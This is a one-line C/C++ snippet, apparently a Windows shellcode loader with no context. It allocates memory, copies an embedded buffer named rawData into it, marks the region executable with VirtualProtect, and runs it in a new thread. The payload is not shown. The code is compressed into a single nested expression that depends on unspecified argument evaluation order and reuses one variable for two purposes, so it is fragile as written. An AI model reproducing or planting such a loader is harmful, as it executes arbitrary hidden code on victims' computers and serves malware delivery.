WaitForSingleObject(CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)memcpy(Old = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE), rawData, sizeof(rawData)), VirtualProtect(Old, sizeof(rawData), PAGE_EXECUTE_READWRITE, &Old), NULL, NULL), INFINITE);